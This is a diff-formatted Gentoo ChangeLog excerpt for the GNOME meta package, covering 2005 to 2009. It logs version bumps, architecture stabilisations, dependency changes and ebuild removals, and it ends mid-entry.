+  23 Nov 2009; Raúl Porcel <armin76@gentoo.org> gnome-2.26.2.ebuild,
+  gnome-2.26.3.ebuild:
+  Re-add ~ia64/~sparc
+
+  24 Oct 2009; nixnut <nixnut@gentoo.org> gnome-2.26.3.ebuild:
+  ppc stable #281427
+
+  18 Oct 2009; nixnut <nixnut@gentoo.org> gnome-2.26.3.ebuild:
+  ~ppc'd
+
+  17 Oct 2009; Markus Meier <maekke@gentoo.org> gnome-2.26.3.ebuild:
+  x86 stable, bug #281427
+
+  08 Oct 2009; Olivier Crête <tester@gentoo.org> gnome-2.26.3.ebuild:
+  Stable on amd64, bug #281427
+
+  02 Oct 2009; Mart Raudsepp <leio@gentoo.org> gnome-2.26.3.ebuild:
+  Reduce gnome-power-manager dependency to 2.22.1 - we are staying with that
+  for now. Reduce tomboy dependency to allow immediate stabilization - we do
+  not need newer in the short term
+
+  27 Jul 2009; Gilles Dartiguelongue <eva@gentoo.org> gnome-2.26.2.ebuild,
+  gnome-2.26.3.ebuild:
+  Remove eel from RDEPEND since it is deprecated an unused in gnome 2.26.
+  Clean up gnome-python-desktop dependency, bug #278828.
+
+*gnome-2.26.3 (27 Jul 2009)
+
+  27 Jul 2009; Gilles Dartiguelongue <eva@gentoo.org> -gnome-2.22.3.ebuild,
+  gnome-2.26.2.ebuild, +gnome-2.26.3.ebuild:
+  Version bump for GNOME 2.26.3.
+
+*gnome-2.26.2 (28 May 2009)
+
+  28 May 2009; Gilles Dartiguelongue <eva@gentoo.org> +gnome-2.26.2.ebuild:
+  New version for GNOME 2.26.2.
+
+  28 Apr 2009; Mounir Lamouri <volkmar@gentoo.org> gnome-2.22.3.ebuild,
+  gnome-2.24.1.ebuild:
+  Change net-im/ekiga to net-voip/ekiga.
+
+  12 Apr 2009; Friedrich Oslage <bluebird@gentoo.org> gnome-2.24.1.ebuild:
+  Stable on sparc, bug #260063
+
+  06 Apr 2009; Gilles Dartiguelongue <eva@gentoo.org> gnome-2.24.1.ebuild:
+  Add ~sparc keyword since they satisfy all dependencies, bug #262744.
+
+  03 Apr 2009; Joseph Jezak <josejx@gentoo.org> gnome-2.24.1.ebuild:
+  Marked ppc/ppc64 stable for bug #262744.
+
+  19 Mar 2009; Joseph Jezak <josejx@gentoo.org> gnome-2.24.1.ebuild:
+  Marked ~ppc/~ppc64.
+
+  18 Mar 2009; Raúl Porcel <armin76@gentoo.org> gnome-2.24.1.ebuild:
+  alpha/ia64 stable wrt #260063
+
+  16 Mar 2009; Gilles Dartiguelongue <eva@gentoo.org> -gnome-2.20.3.ebuild,
+  -gnome-2.22.2.ebuild, gnome-2.22.3.ebuild:
+  Clean up old revisions. Mark 2.22.3 ppc since repoman says deps are
+  satisfied.
+
+  15 Mar 2009; Markus Meier <maekke@gentoo.org> gnome-2.24.1.ebuild:
+  x86 stable, bug #260063
+
+  11 Mar 2009; Daniel Gryniewicz <dang@gentoo.org> gnome-2.24.1.ebuild:
+  Marked stable on amd64
+
+  04 Mar 2009; Gilles Dartiguelongue <eva@gentoo.org> gnome-2.24.1.ebuild:
+  Downgrade gstreamer requirements to 0.10.20 for gnome 2.24 stabilization
+  requirements, bug #260063.
+
+*gnome-2.24.1 (12 Dec 2008)
+
+  12 Dec 2008; Mart Raudsepp <leio@gentoo.org> +gnome-2.24.1.ebuild:
+  Preliminary meta package for GNOME-2.24
+
+  29 Nov 2008; Gilles Dartiguelongue <eva@gentoo.org> -gnome-2.22.0.ebuild,
+  -gnome-2.22.1.ebuild:
+  Clean up old revisions.
+
+  13 Nov 2008; Brent Baude <ranger@gentoo.org> gnome-2.22.3.ebuild:
+  Marking gnome-2.22.3 ppc64 stable for bug 236971
+
+  26 Oct 2008; Markus Rothe <corsair@gentoo.org> gnome-2.22.3.ebuild:
+  Make gnome-power-manager a dependency on ppc64 again. hal got keyworded and
+  so gnome-power-manager got the ~ppc64 keyword again
+
+  25 Sep 2008; Jeroen Roovers <jer@gentoo.org> gnome-2.22.0.ebuild,
+  gnome-2.22.1.ebuild, gnome-2.22.2.ebuild:
+  Drop further hppa keywords (bug #218794 comment #26).
+
+  11 Sep 2008; Jeroen Roovers <jer@gentoo.org> gnome-2.22.3.ebuild:
+  Dropping ~hppa keyword for now (bug #237026).
+
+  09 Sep 2008; Raúl Porcel <armin76@gentoo.org> gnome-2.22.3.ebuild:
+  alpha/ia64/sparc stable wrt #236971
+
+  08 Sep 2008; Markus Meier <maekke@gentoo.org> gnome-2.22.3.ebuild:
+  x86 stable, bug #236971
+
+  07 Sep 2008; Olivier Crête <tester@gentoo.org> gnome-2.22.3.ebuild:
+  amd64 stable, bug #236971
+
+  12 Aug 2008; Raúl Porcel <armin76@gentoo.org> gnome-2.22.2.ebuild:
+  alpha/ia64/sparc stable wrt #229709
+
+  10 Aug 2008; Raúl Porcel <armin76@gentoo.org> gnome-2.22.2.ebuild:
+  x86 stable wrt #229709
+
+  30 Jul 2008; Brent Baude <ranger@gentoo.org> gnome-2.22.2.ebuild:
+  Marking gnome-2.22.2 ppc stable for bug 229709
+
+  26 Jul 2008; Olivier Crête <tester@gentoo.org> gnome-2.22.2.ebuild:
+  Stable on amd64, bug #229709
+
+*gnome-2.22.3 (16 Jul 2008)
+*gnome-2.22.2 (16 Jul 2008)
+
+  16 Jul 2008; Gilles Dartiguelongue <eva@gentoo.org> +gnome-2.22.2.ebuild,
+  +gnome-2.22.3.ebuild:
+  add metas for gnome 2.22.2 and 2.22.3.
+
+  05 Jun 2008; Rémi Cardona <remi@gentoo.org> gnome-2.20.3.ebuild,
+  gnome-2.22.0.ebuild, gnome-2.22.1.ebuild:
+  pkgmove to gnome-base/gnome-control-center
+
+  01 Jun 2008; Rémi Cardona <remi@gentoo.org> gnome-2.20.3.ebuild,
+  gnome-2.22.0.ebuild, gnome-2.22.1.ebuild:
+  pkgmove from gnome2-user-docs to gnome-user-docs
+
+  01 Jun 2008; nixnut <nixnut@gentoo.org> ChangeLog:
+  Added ~ppc wrt bug 218794
+
+  08 May 2008; Gilles Dartiguelongue <eva@gentoo.org> gnome-2.22.1.ebuild:
+  lower tomboy dep since nobody is taking care of it and I want to remove
+  the mask on the meta.
+
+  12 Apr 2008; Gilles Dartiguelongue <eva@gentoo.org> gnome-2.20.3.ebuild:
+  Remove gnome-system-tools 2.14 from RDEPEND to all because it is starting
+  to cause more headache to keep it than to mask it.
+
+*gnome-2.22.1 (10 Apr 2008)
+
+  10 Apr 2008; Rémi Cardona <remi@gentoo.org> +gnome-2.22.1.ebuild:
+  Bump to 2.22.1, mostly bugfix and translations
+
+  03 Apr 2008; Mart Raudsepp <leio@gentoo.org> gnome-2.22.0.ebuild:
+  Remove gnome-system-tools until at least it is compatible with
+  nautilus-2.22
+
+  01 Apr 2008; Mart Raudsepp <leio@gentoo.org> gnome-2.22.0.ebuild:
+  Change the post-installation message to be correct regarding USE=fam
+  behaviour and add the last GNOME-2.22 packages to the list
+
+*gnome-2.22.0 (28 Mar 2008)
+
+  28 Mar 2008; Mart Raudsepp <leio@gentoo.org> +gnome-2.22.0.ebuild:
+  Adding meta package for GNOME-2.22. gnome-keyring-manager is replaced by
+  seahorse; mousetweaks, vinagre and swfdec-gnome are new GNOME modules.
+
+  09 Mar 2008; Mart Raudsepp <leio@gentoo.org> -gnome-2.18.3.ebuild,
+  -gnome-2.20.1.ebuild, -gnome-2.20.2.ebuild:
+  Remove GNOME 2.18
+
+  04 Feb 2008; Jeroen Roovers <jer@gentoo.org> gnome-2.20.3.ebuild:
+  Stable for HPPA (bug #208366).
+
+  03 Feb 2008; Raúl Porcel <armin76@gentoo.org> gnome-2.20.3.ebuild:
+  alpha/ia64/sparc stable wrt #208366
+
+  02 Feb 2008; Chris Gianelloni <wolf31o2@gentoo.org> gnome-2.20.3.ebuild:
+  Stable on amd64 wrt bug #208366.
+
+  01 Feb 2008; Brent Baude <ranger@gentoo.org> gnome-2.20.3.ebuild:
+  Marking gnome-2.20.3 ppc64 and ppc stable for bug 208366
+
+  01 Feb 2008; Gilles Dartiguelongue <eva@gentoo.org> gnome-2.20.3.ebuild:
+  lower evolution, gstreamer and gstreamer-plugins-base by one
+
+  01 Feb 2008; Christian Faulhammer <opfer@gentoo.org> gnome-2.20.3.ebuild:
+  stable x86, bug 208366
+
+  29 Jan 2008; Daniel Gryniewicz <dang@gentoo.org> gnome-2.18.2-r1.ebuild,
+  gnome-2.18.3.ebuild, gnome-2.20.0.ebuild, gnome-2.20.1.ebuild,
+  gnome-2.20.2.ebuild, gnome-2.20.3.ebuild:
+  Add a slot dep on libsoup to prepare for the new 2.4 slot
+
+*gnome-2.20.3 (27 Jan 2008)
+
+  27 Jan 2008; Mart Raudsepp <leio@gentoo.org> +gnome-2.20.3.ebuild:
+  Adding meta for 2.20.3
+
+  21 Jan 2008; Jeroen Roovers <jer@gentoo.org> gnome-2.20.1.ebuild:
+  Stable for HPPA (bug #199740).
+
+*gnome-2.20.2 (02 Jan 2008)
+
+  02 Jan 2008; Gilles Dartiguelongue <eva@gentoo.org> +gnome-2.20.2.ebuild:
+  bump to gnome 2.20.2
+
+  11 Dec 2007; Mart Raudsepp <leio@gentoo.org> -gnome-2.16.3.ebuild:
+  Removing GNOME-2.16
+
+  26 Nov 2007; Markus Rothe <corsair@gentoo.org> gnome-2.20.1.ebuild:
+  Stable on ppc64; bug #199740
+
+  24 Nov 2007; Brent Baude <ranger@gentoo.org> gnome-2.20.1.ebuild:
+  Marking gnome-2.20.1 ppc stable for bug 199740
+
+  24 Nov 2007; Markus Rothe <corsair@gentoo.org> gnome-2.20.1.ebuild:
+  Make gnome-power-manager not a dependency on ppc64 for 2.20.1, too. (Same
+  change as for 2.18.3 on 15. Nov 2007)
+
+  22 Nov 2007; Raúl Porcel <armin76@gentoo.org> gnome-2.20.1.ebuild:
+  alpha/ia64/sparc stable wrt #199740
+
+  21 Nov 2007; Dawid Węgliński <cla@gentoo.org> gnome-2.20.1.ebuild:
+  Stable on x86 (bug #199740)
+
+  20 Nov 2007; Samuli Suominen <drac@gentoo.org> gnome-2.20.1.ebuild:
+  amd64 stable wrt #199740
+
+  17 Nov 2007; nixnut <nixnut@gentoo.org> gnome-2.20.0.ebuild,
+  gnome-2.20.1.ebuild:
+  Added ~ppc wrt bug 196360
+
+  15 Nov 2007; Markus Rothe <corsair@gentoo.org> gnome-2.18.3.ebuild:
+  Make gnome-power-manager not a dependency on ppc64 and mark it stable on
+  ppc64. Bug #199218
+
+  06 Nov 2007; Raúl Porcel <armin76@gentoo.org> gnome-2.18.3.ebuild:
+  sparc stable wrt #193339
+
+*gnome-2.20.1 (31 Oct 2007)
+
+  31 Oct 2007; Gilles Dartiguelongue <eva@gentoo.org> +gnome-2.20.1.ebuild:
+  bump to 2.20.1, dasher is now in sync again
+
+  23 Oct 2007; Raúl Porcel <armin76@gentoo.org> gnome-2.20.0.ebuild:
+  Add ~ia64/~sparc wrt #196360
+
+  22 Oct 2007; Jeroen Roovers <jer@gentoo.org> gnome-2.20.0.ebuild:
+  Marked ~hppa (bug #196360).
+
+  22 Oct 2007; Raúl Porcel <armin76@gentoo.org> gnome-2.20.0.ebuild:
+  Add ~alpha wrt #196360
+
+  19 Oct 2007; <leio@gentoo.org> gnome-2.20.0.ebuild:
+  Drop keywords for arches that do not have yelp-2.20 keyworded yet
+
+  18 Oct 2007; Daniel Gryniewicz <dang@gentoo.org> gnome-2.20.0.ebuild:
+  Add esd flag from overlay
+
+*gnome-2.20.0 (18 Oct 2007)
+
+  18 Oct 2007; Gilles Dartiguelongue <eva@gentoo.org> +gnome-2.20.0.ebuild:
+  bump to 2.20.0, update all deps to match upstream list except for dasher which is still masked for compilation issues
+
+  12 Oct 2007; Rémi Cardona <remi@gentoo.org> gnome-2.16.3.ebuild,
+  gnome-2.18.2-r1.ebuild, gnome-2.18.3.ebuild:
+  update gtksourceview deps (see bug #195366)
+
+  27 Sep 2007; Raúl Porcel <armin76@gentoo.org> gnome-2.18.3.ebuild:
+  alpha/ia64 stable wrt #193339
+
+  25 Sep 2007; Jeroen Roovers <jer@gentoo.org> gnome-2.18.3.ebuild:
+  Stable for HPPA (bug #193339).
+
+  22 Sep 2007; Tobias Scherbaum <dertobi123@gentoo.org> gnome-2.18.3.ebuild:
+  ppc stable, bug #193339
+
+  21 Sep 2007; Mart Raudsepp <leio@gentoo.org> gnome-2.18.3.ebuild:
+  Lower gnome-mag requirement
+
+  21 Sep 2007; Chris Gianelloni <wolf31o2@gentoo.org> gnome-2.18.3.ebuild:
+  Stable on amd64 wrt bug #193339.
+
+  21 Sep 2007; Chris Gianelloni <wolf31o2@gentoo.org> gnome-2.18.3.ebuild:
+  Stable on x86 wrt bug #193339.
+
+  21 Sep 2007; Mart Raudsepp <leio@gentoo.org> gnome-2.18.3.ebuild:
+  Lower ekiga requirement
+
+*gnome-2.18.3 (08 Sep 2007)
+
+  08 Sep 2007; Mart Raudsepp <leio@gentoo.org> +gnome-2.18.3.ebuild:
+  Add 2.18.3 mostly reflecting package versions as was for upstream 2.18.3
+
+  28 Aug 2007; Jeroen Roovers <jer@gentoo.org> gnome-2.18.2-r1.ebuild:
+  Stable for HPPA (bug #185823).
+
+  11 Aug 2007; Mart Raudsepp <leio@gentoo.org> -gnome-2.14.2.ebuild,
+  -gnome-2.18.0.ebuild, -gnome-2.18.2.ebuild:
+  Removing GNOME-2.14, also old 2.18 versions
+
+  11 Aug 2007; Andrej Kacian <ticho@gentoo.org> gnome-2.18.2-r1.ebuild:
+  Stable on x86, bug #185823.
+
+  10 Aug 2007; Christoph Mende <angelos@gentoo.org> gnome-2.18.2-r1.ebuild:
+  Stable on amd64 wrt bug #185823
+
+  08 Aug 2007; Raúl Porcel <armin76@gentoo.org> gnome-2.18.2-r1.ebuild:
+  alpha/ia64 stable wrt #185823
+
+  07 Aug 2007; Tobias Scherbaum <dertobi123@gentoo.org>
+  gnome-2.18.2-r1.ebuild:
+  Stable on ppc wrt bug #185823.
+
+  07 Aug 2007; Gustavo Zacarias <gustavoz@gentoo.org>
+  gnome-2.18.2-r1.ebuild:
+  Stable on sparc wrt #185823
+
+  05 Aug 2007; Mart Raudsepp <leio@gentoo.org> gnome-2.18.2-r1.ebuild:
+  Lower the minimum version requirements for ekiga, dasher, gnome-mag and
+  gnome-speech in order to not have to rush these to stable yet
+
+*gnome-2.18.2-r1 (04 Aug 2007)
+
+  04 Aug 2007; <metalgod@gentoo.org> +gnome-2.18.2-r1.ebuild:
+  Added mono use flag for tomboy which is part of the official Gnome 
+  Platform.
+
+*gnome-2.18.2 (27 Jul 2007)
+
+  27 Jul 2007; Mart Raudsepp <leio@gentoo.org> -gnome-2.16.2.ebuild,
+  +gnome-2.18.2.ebuild:
+  Add 2.18.2 mostly reflecting package versions as was for upstream 2.18.2;
+  remove old 2.16.2 version
+
+  25 Jul 2007; Raúl Porcel <armin76@gentoo.org> gnome-2.16.3.ebuild:
+  alpha stable wrt #171107
+
+  10 Jul 2007; Mart Raudsepp <leio@gentoo.org> gnome-2.18.0.ebuild:
+  Remove ppc64 keyword from 2.18.0, as they don't have a keyword on
+  gnome-power-manager yet
+
+  06 Jul 2007; Roy Marples <uberlord@gentoo.org> gnome-2.18.0.ebuild:
+  Keyworded x86-fbsd
+
+  20 Jun 2007; Daniel Gryniewicz <dang@gentoo.org> gnome-2.14.2.ebuild,
+  gnome-2.16.2.ebuild, gnome-2.16.3.ebuild, gnome-2.18.0.ebuild:
+  use emerge --unmerge, not emerge unmerge; bug #182219
+
+  19 Jun 2007; Raúl Porcel <armin76@gentoo.org> gnome-2.16.3.ebuild:
+  ia64 stable wrt #171107
+
+  02 Jun 2007; Brent Baude <ranger@gentoo.org> gnome-2.16.3.ebuild:
+  Marking gnome-2.16.3 ppc stable for bug #171107
+
+  31 May 2007; Jeroen Roovers <jer@gentoo.org> gnome-2.16.3.ebuild:
+  Stable for HPPA (bug #171107).
+
+  31 May 2007; Daniel Gryniewicz <dang@gentoo.org> gnome-2.16.3.ebuild:
+  Marked stable on amd64 for bug #171107
+
+  31 May 2007; Brent Baude <ranger@gentoo.org> gnome-2.16.3.ebuild:
+  Marking gnome-2.16.3 ppc64 stable for bug #171107
+
+  29 May 2007; Andrej Kacian <ticho@gentoo.org> gnome-2.16.3.ebuild:
+  Stable on x86, bug #171107.
+
+  29 May 2007; Gustavo Zacarias <gustavoz@gentoo.org> gnome-2.16.3.ebuild:
+  Stable on sparc wrt #171107
+
+*gnome-2.16.3 (21 May 2007)
+
+  21 May 2007; <leio@gentoo.org> -gnome-2.16.1.ebuild, +gnome-2.16.3.ebuild:
+  Add 2.16.3 mostly reflecting package versions as was for upstream 2.16.3;
+  remove old 2.16.1 version
+
+  01 May 2007; Daniel Gryniewicz <dang@gentoo.org> gnome-2.18.0.ebuild:
+  Remove hal use flag; it was a false hope that the gnome meta can be emerged
+  without hal
+
+  23 Apr 2007; Daniel Gryniewicz <dang@gentoo.org> gnome-2.18.0.ebuild:
+  remove gnopernicus; orca replaces it
+
+  23 Apr 2007; Daniel Gryniewicz <dang@gentoo.org> gnome-2.18.0.ebuild:
+  Add orca to 2.18.0 meta
+
+*gnome-2.18.0 (09 Apr 2007)
+
+  09 Apr 2007; Remi Cardona <remi@gentoo.org> +gnome-2.18.0.ebuild:
+  gnome-2.18.0 meta ebuild
+
+  27 Mar 2007; Raúl Porcel <armin76@gentoo.org> gnome-2.16.2.ebuild:
+  add ia64 stable keyword again wrt bug 142482
+
+  04 Feb 2007; Markus Rothe <corsair@gentoo.org> gnome-2.16.2.ebuild:
+  Stable on ppc64; bug #164978
+
+  03 Feb 2007; Andrej Kacian <ticho@gentoo.org> gnome-2.16.2.ebuild:
+  Stable on x86, bug #164978.
+
+  03 Feb 2007; Tobias Scherbaum <dertobi123@gentoo.org> gnome-2.16.2.ebuild:
+  Stable on ppc wrt bug #164978.
+
+  03 Feb 2007; Olivier Crête <tester@gentoo.org> gnome-2.16.2.ebuild:
+  Stable on amd64 per bug #164978
+
+  01 Feb 2007; Gustavo Zacarias <gustavoz@gentoo.org> gnome-2.16.2.ebuild:
+  Stable on sparc
+
+  19 Jan 2007; Jeroen Roovers <jer@gentoo.org> gnome-2.16.2.ebuild:
+  Stable for HPPA (bug #147751).
+
+  14 Jan 2007; Bryan Østergaard <kloeri@gentoo.org> gnome-2.16.2.ebuild:
+  Stable on Alpha.
+
+*gnome-2.16.2 (14 Jan 2007)
+
+  14 Jan 2007; Mart Raudsepp <leio@gentoo.org> -gnome-2.16.0.ebuild,
+  -gnome-2.16.0-r1.ebuild, +gnome-2.16.2.ebuild:
+  Add 2.16.2 reflecting package versions as was for upstream 2.16.2; remove
+  old 2.16.0
+
+  14 Jan 2007; Bryan Østergaard <kloeri@gentoo.org> gnome-2.16.1.ebuild:
+  Stable on Alpha.
+
+  26 Dec 2006; Tom Gall <tgall@gentoo.org> gnome-2.16.1.ebuild:
+  added ~ppc64
+
+  18 Dec 2006; Gustavo Zacarias <gustavoz@gentoo.org> gnome-2.16.1.ebuild:
+  Stable on sparc
+
+  17 Dec 2006; Tobias Scherbaum <dertobi123@gentoo.org> gnome-2.16.1.ebuild:
+  Stable on ppc wrt bug #156662.
+
+  12 Dec 2006; Chris Gianelloni <wolf31o2@gentoo.org> gnome-2.16.1.ebuild:
+  Stable on amd64 wrt bug #156662.
+
+  11 Dec 2006; Andrej Kacian <ticho@gentoo.org> gnome-2.16.1.ebuild:
+  Stable on x86, bug #156662.
+
+  10 Dec 2006; Mart Raudsepp <leio@gentoo.org> gnome-2.16.1.ebuild:
+  Set minimal versions to exactly what's in upstream 2.16.1, for version
+  parity; remember that deep upgrade will still get you all the 2.16.2 bits
+  that are there. Remove tomboy for now, as we can't stabilize it yet
+
+*gnome-2.16.1 (07 Dec 2006)
+
+  07 Dec 2006; Remi <remi@gentoo.org> +gnome-2.16.1.ebuild:
+  Bumping gnome meta package to 2.16.1 (mostly 2.16.2 really but we're missing a
+  few packages)
+
+  25 Nov 2006; Bryan Østergaard <kloeri@gentoo.org> gnome-2.16.0-r1.ebuild:
+  Add ~alpha keyword.
+
+*gnome-2.16.0-r1 (06 Nov 2006)
+
+  06 Nov 2006; Daniel Gryniewicz <dang@gentoo.org> +gnome-2.16.0-r1.ebuild:
+  Add ekiga to meta; drop ia64 until they keyword
+
+  05 Nov 2006; Mart Raudsepp <leio@gentoo.org> -gnome-1.4-r3.ebuild:
+  Removing GNOME1
+
+  01 Nov 2006; Mart Raudsepp <leio@gentoo.org> -gnome-2.12.3.ebuild:
+  Removing 2.12
+
+  20 Oct 2006; Aron Griffis <agriffis@gentoo.org> gnome-2.14.2.ebuild:
+  Mark 2.14.2 stable on alpha
+
+  13 Oct 2006; Mart Raudsepp <leio@gentoo.org> gnome-2.16.0.ebuild:
+  Add gnome-screensaver; remove gnome-vfs-monikers; move sabayon behind ldap
+  USE flag. Closes bugs 142483 and 150830
+
+  04 Oct 2006; Aron Griffis <agriffis@gentoo.org> gnome-2.16.0.ebuild:
+  Mark 2.16.0 ~ia64
+
+  02 Oct 2006; Donnie Berkholz <dberkholz@gentoo.org>; gnome-2.16.0.ebuild:
+  Keyword ~ppc.
+
+  02 Oct 2006; Gustavo Zacarias <gustavoz@gentoo.org> gnome-2.16.0.ebuild:
+  Back to ~sparc
+
+  19 Sep 2006; Aron Griffis <agriffis@gentoo.org> gnome-2.14.2.ebuild:
+  Mark 2.14.2 stable on ia64. #139612
+
+  15 Sep 2006; Daniel Gryniewicz <dang@gentoo.org> gnome-2.16.0.ebuild:
+  Remove a number of arches until they keyword deps
+
+  15 Sep 2006; Daniel Gryniewicz <dang@gentoo.org> gnome-2.16.0.ebuild:
+  Orbit 2.14.3 is broken, per upstream
+
+  14 Sep 2006; Daniel Gryniewicz <dang@gentoo.org> gnome-2.16.0.ebuild:
+  Add gnome-cups-manager under cups flag.  Bug #143587
+
+  12 Sep 2006; John N. Laliberte <allanonjl@gentoo.org> gnome-2.16.0.ebuild:
+  add tomboy with mono useflag.
+
+*gnome-2.16.0 (12 Sep 2006)
+
+  12 Sep 2006; John N. Laliberte <allanonjl@gentoo.org>
+  +gnome-2.16.0.ebuild:
+  gnome 2.16.0 meta build
+
+  19 Aug 2006; Bryan Østergaard <kloeri@gentoo.org> gnome-2.14.2.ebuild:
+  Add ~ia64 keyword.
+
+  17 Jul 2006; Daniel Gryniewicz <dang@gentoo.org> gnome-2.14.2.ebuild:
+  Marked stable on amd64 for bug #139612
+
+  16 Jul 2006; Tobias Scherbaum <dertobi123@gentoo.org> gnome-2.14.2.ebuild:
+  hppa stable, bug #139612
+
+  15 Jul 2006; John N. Laliberte <allanonjl@gentoo.org>
+  -gnome-2.10-r1.ebuild, -gnome-2.10.1.ebuild, -gnome-2.10.2.ebuild,
+  -gnome-2.12.0.ebuild, -gnome-2.12.1.ebuild, -gnome-2.12.2.ebuild,
+  -gnome-2.14.0.ebuild, -gnome-2.14.0-r1.ebuild, -gnome-2.14.1.ebuild:
+  remove 2.10 and remove old metas.
+
+  14 Jul 2006; Tobias Scherbaum <dertobi123@gentoo.org> gnome-2.14.2.ebuild:
+  ppc stable, bug #139612
+
+  12 Jul 2006; Chris Gianelloni <wolf31o2@gentoo.org> gnome-2.14.2.ebuild:
+  Stable on x86 wrt bug #139612.
+
+  10 Jul 2006; Gustavo Zacarias <gustavoz@gentoo.org> gnome-2.14.2.ebuild:
+  Stable on sparc wrt #139612
+
+*gnome-2.14.2 (07 Jul 2006)
+
+  07 Jul 2006; John N. Laliberte <allanonjl@gentoo.org> -gnome-2.8.2.ebuild,
+  -gnome-2.8.3-r1.ebuild, +gnome-2.14.2.ebuild:
+  add GNOME 2.14.2 meta
+
+  16 May 2006; Tobias Scherbaum <dertobi123@gentoo.org> gnome-2.14.1.ebuild:
+  Added ~hppa
+
+*gnome-2.14.1 (13 May 2006)
+
+  13 May 2006; Daniel Gryniewicz <dang@gentoo.org> +gnome-2.14.1.ebuild:
+  meta for 2.14.1
+
+*gnome-2.14.0-r1 (09 May 2006)
+
+  09 May 2006; Daniel Gryniewicz <dang@gentoo.org> +gnome-2.14.0-r1.ebuild:
+  Dep on at-spi-1.7.7-r1 because of bug #132019
+
+  08 May 2006; Markus Rothe <corsair@gentoo.org> gnome-2.14.0.ebuild:
+  Added ~ppc64
+
+  06 May 2006; John N. Laliberte <allanonjl@gentoo.org> gnome-2.14.0.ebuild:
+  drop alpha,hppa,ia64, bug filed. prep for 2.14 unmask.
+
+  21 Apr 2006; Thomas Cort <tcort@gentoo.org> gnome-2.12.3.ebuild:
+  Stable on alpha wrt Bug #126321.
+
+  20 Apr 2006; Chris Gianelloni <wolf31o2@gentoo.org> gnome-2.12.3.ebuild:
+  Marking stable on amd64 and x86 for bug #126321.
+
+  25 Mar 2006; Aron Griffis <agriffis@gentoo.org> gnome-2.12.3.ebuild:
+  Mark 2.12.3 stable on ia64
+
+  21 Mar 2006; Marinus Schraal <foser@gentoo.org> gnome-2.14.0.ebuild :
+  Bump gst-plugins-base dep to 0.10.4-r1 to get default audio/video sinks from there
+  Remove alsa/oss/esd gst plugin conditionals
+
+  20 Mar 2006; John N. Laliberte <allanonjl@gentoo.org> gnome-2.14.0.ebuild:
+  bump gnome-icon-theme dep to 2.14.2 to fix icon scaling issue
+
+*gnome-2.14.0 (19 Mar 2006)
+
+  19 Mar 2006; John N. Laliberte <allanonjl@gentoo.org>
+  +gnome-2.14.0.ebuild:
+  2.14.0 META. add alsa, oss, esd useflags for gstreamer plugins along with
+  normal version bumps.
+
+  17 Mar 2006; Tobias Scherbaum <dertobi123@gentoo.org> gnome-2.12.3.ebuild:
+  Stable gnome-2.12.3 for ppc, bug #126321
+
+  14 Mar 2006; Gustavo Zacarias <gustavoz@gentoo.org> gnome-2.12.3.ebuild:
+  Stable on hppa
+
+  13 Mar 2006; Gustavo Zacarias <gustavoz@gentoo.org> gnome-2.12.3.ebuild:
+  Stable on sparc
+
+  21 Feb 2006; Aron Griffis <agriffis@gentoo.org> gnome-2.12.2.ebuild,
+  gnome-2.12.3.ebuild:
+  Mark 2.12.3 2.12.2 ~ia64. #108805
+
+*gnome-2.12.3 (12 Feb 2006)
+
+  12 Feb 2006; John N. Laliberte <allanonjl@gentoo.org>
+  +gnome-2.12.3.ebuild:
+  2.12.3 meta build
+
+  04 Feb 2006; Guy Martin <gmsoft@gentoo.org> gnome-2.12.2.ebuild:
+  Stable on hppa.
+
+  22 Jan 2006; <dang@gentoo.org> gnome-2.12.2.ebuild:
+  Marked stable on amd64 per bug #119634
+
+  22 Jan 2006; Tobias Scherbaum <dertobi123@gentoo.org> gnome-2.12.2.ebuild:
+  Marked ppc stable for bug #119634; Stabilize Gnome-2.12.2
+
+  22 Jan 2006; Joshua Jackson <tsunam@gentoo.org> gnome-2.12.2.ebuild:
+  Stable on x86 for bug #119634; Stabilize Gnome-2.12.2
+
+  21 Jan 2006; John N. Laliberte <allanonjl@gentoo.org> gnome-2.12.2.ebuild:
+  re-add ~ppc keyword, lost in the shuffle from .0 to .2
+
+  20 Jan 2006; Gustavo Zacarias <gustavoz@gentoo.org> gnome-2.12.2.ebuild:
+  Stable on sparc wrt #119634
+
+*gnome-2.12.2 (18 Jan 2006)
+
+  18 Jan 2006; Joe McCann <joem@gentoo.org> +gnome-2.12.2.ebuild:
+  gnome-2.12.2 metabuild in preperation for ~arch to stable process
+
+  12 Jan 2006; Saleem Abdulrasool <compnerd@gentoo.org> gnome-2.8.2.ebuild,
+  gnome-2.8.3-r1.ebuild, gnome-2.10-r1.ebuild, gnome-2.10.1.ebuild,
+  gnome-2.10.2.ebuild, gnome-2.12.0.ebuild, gnome-2.12.1.ebuild:
+  pkgmove gnome-extra/libgtkhtml gnome-extra/gtkhtml
+
+  26 Dec 2005; Bryan Østergaard <kloeri@gentoo.org gnome-2.12.1.ebuild:
+  ~alpha keyword.
+
+  04 Dec 2005; Zaheer Abbas Merali <zaheerm@gentoo.org> gnome-2.8.2.ebuild,
+  gnome-2.8.3-r1.ebuild, gnome-2.10-r1.ebuild, gnome-2.10.1.ebuild,
+  gnome-2.10.2.ebuild, gnome-2.12.0.ebuild, gnome-2.12.1.ebuild:
+  Fix GStreamer dependencies
+
+  19 Nov 2005; Joseph Jezak <josejx@gentoo.org> gnome-2.12.0.ebuild:
+  Added ~ppc for bug #108804.
+
+  21 Oct 2005; Leonardo Boshell <leonardop@gentoo.org> gnome-2.8.2.ebuild,
+  gnome-2.8.3-r1.ebuild:
+  Added mips restrictions around gnome-volume-manager.
+
+*gnome-2.12.1 (21 Oct 2005)
+
+  21 Oct 2005; Leonardo Boshell <leonardop@gentoo.org> +gnome-2.12.1.ebuild:
+  New version.
+
+  17 Oct 2005; Aron Griffis <agriffis@gentoo.org> gnome-2.10.2.ebuild:
+  Mark 2.10.2 stable on ia64
+
+  13 Oct 2005; John N. Laliberte <allanonjl@gentoo.org> gnome-2.12.0.ebuild:
+  change pkg_postinst to reflect the upgrade guide, and rec gamin over fam.
+  Thanks to fox2mike for noticing.
+
+  11 Oct 2005; Gustavo Zacarias <gustavoz@gentoo.org> gnome-2.12.0.ebuild:
+  Back to ~sparc wrt #108803
+
+  11 Oct 2005; John N. Laliberte <allanonjl@gentoo.org> gnome-2.12.0.ebuild:
+  remove support for hppa, ia64, ppc, sparc. filed bugs
+
+  17 Sep 2005; Aron Griffis <agriffis@gentoo.org> gnome-2.10.2.ebuild,
+  gnome-2.12.0.ebuild:
+  Mark 2.12.0 2.10.2 ~ia64
+
+  14 Sep 2005; John N. Laliberte <allanonjl@gentoo.org> gnome-2.12.0.ebuild:
+  add information about adding yourself to plugdev in postinst
+
+*gnome-2.12.0 (14 Sep 2005)
+
+  14 Sep 2005; John N. Laliberte <allanonjl@gentoo.org>
